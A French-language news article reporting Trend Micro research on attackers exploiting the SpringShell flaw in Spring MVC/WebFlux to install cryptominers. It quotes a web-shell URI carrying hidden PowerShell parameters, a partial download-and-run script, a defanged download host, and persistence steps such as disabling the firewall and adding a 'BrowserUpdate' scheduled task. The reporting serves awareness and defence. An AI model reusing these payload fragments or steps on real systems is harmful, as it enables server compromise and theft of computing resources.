Des pirates malveillants ont martelé des serveurs avec des attaques qui exploitent la vulnérabilité SpringShell récemment découverte dans le but d’installer des logiciels malveillants de cryptominage, ont déclaré des chercheurs.
SpringShell a été découvert à la fin du mois dernier lorsqu’un chercheur a démontré comment il pouvait être utilisé pour exécuter à distance du code malveillant sur des serveurs exécutant les applications Spring model-view-controller ou WebFlux sur les versions 9 ou supérieures du kit de développement Java. Spring est le framework Java le plus largement utilisé pour développer des applications d’entreprise en Java. Le framework fait partie d’un écosystème tentaculaire qui fournit des outils pour des éléments tels que le cloud, les données et les applications de sécurité.
Plus tôt ce mois-ci, la société de sécurité Trend Micro a déclaré avoir commencé à détecter les tentatives. Du 1er avril au 12 avril, les chercheurs de l’entreprise ont détecté en moyenne environ 700 tentatives par jour d’exploitation de la vulnérabilité pour installer un logiciel de cryptomining. En exécutant le logiciel malveillant sur de puissants serveurs d’entreprise, les criminels peuvent exploiter des bitcoins ou d’autres types d’argent numérique en utilisant les ressources et l’électricité d’une victime involontaire.
Le nombre de tentatives d’exploit a culminé le 3 avril à près de 3 000.
Les pirates ont d’abord envoyé des commandes conçues pour déterminer si les serveurs vulnérables exécutaient Windows ou Linux. Ensuite, ils ont exécuté un code d’exploitation qui tentait d’installer un type d’interface appelé shell Web, qui permet à un utilisateur distant d’exécuter des commandes à l’aide d’une fenêtre Web.
L’URI correspondant à l’exploit encodé ressemblait à ceci, avec le shell Web étant « zbc0fb.jsp » et les paramètres w et l représentant les charges utiles Windows et Linux, qui sont encodées en Base64.
/zbc0fb.jsp?w=powershell.exe+-NonI+-W+Hidden+-NoP+-Exec+Bypass+-Enc+ &l=echo+
Un script powershell a ensuite tenté de télécharger le mineur de crypto-monnaie et de l’exécuter. Trend a rédigé le script dans l’extrait suivant :
$cc="http://"
$sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))
$dst="$env:AppData$sys.exe"
Le flux d’exécution ressemblait à ceci :
1. Le pare-feu est désactivé à l’aide de l’utilitaire netsh.
2. D’autres mineurs de crypto-monnaie connus tels que kthreaddi, sysrv et sysrv012 sont arrêtés ou tués.
3. Les autres processus en cours d’exécution écoutant sur les ports 3333, 4444, 5555, 7777 et 9000 sont arrêtés.
4. Si le processus kthreaddk n’existe pas, le mineur de crypto-monnaie télécharge un binaire, sys.exe, à partir de 194[.]145[.]227[.]21 à C:Users\AppDataRoaming.exe.
5. Le mineur de crypto-monnaie démarre alors le processus avec une fenêtre masquée pour éviter que l’utilisateur n’observe des indices visuels du processus en cours d’exécution.
6. Une tâche planifiée portant le nom « BrowserUpdate » est créée plus tard, s’exécutant toutes les minutes. De plus, la clé d’exécution de Windows est modifiée pour exécuter le binaire sys.exe.
Les chercheurs de Trend Micro ne savent pas combien de tentatives d’exploitation, le cas échéant, ont réussi. Plus tôt ce mois-ci, des chercheurs de l’entreprise ont déclaré avoir également découvert des tentatives d’exploitation de SpringShell pour installer le botnet Mirai. Toute personne exécutant les applications Spring model-view-controller ou WebFlux sur le JDK version 9 ou supérieure doit corriger la faille dès que possible.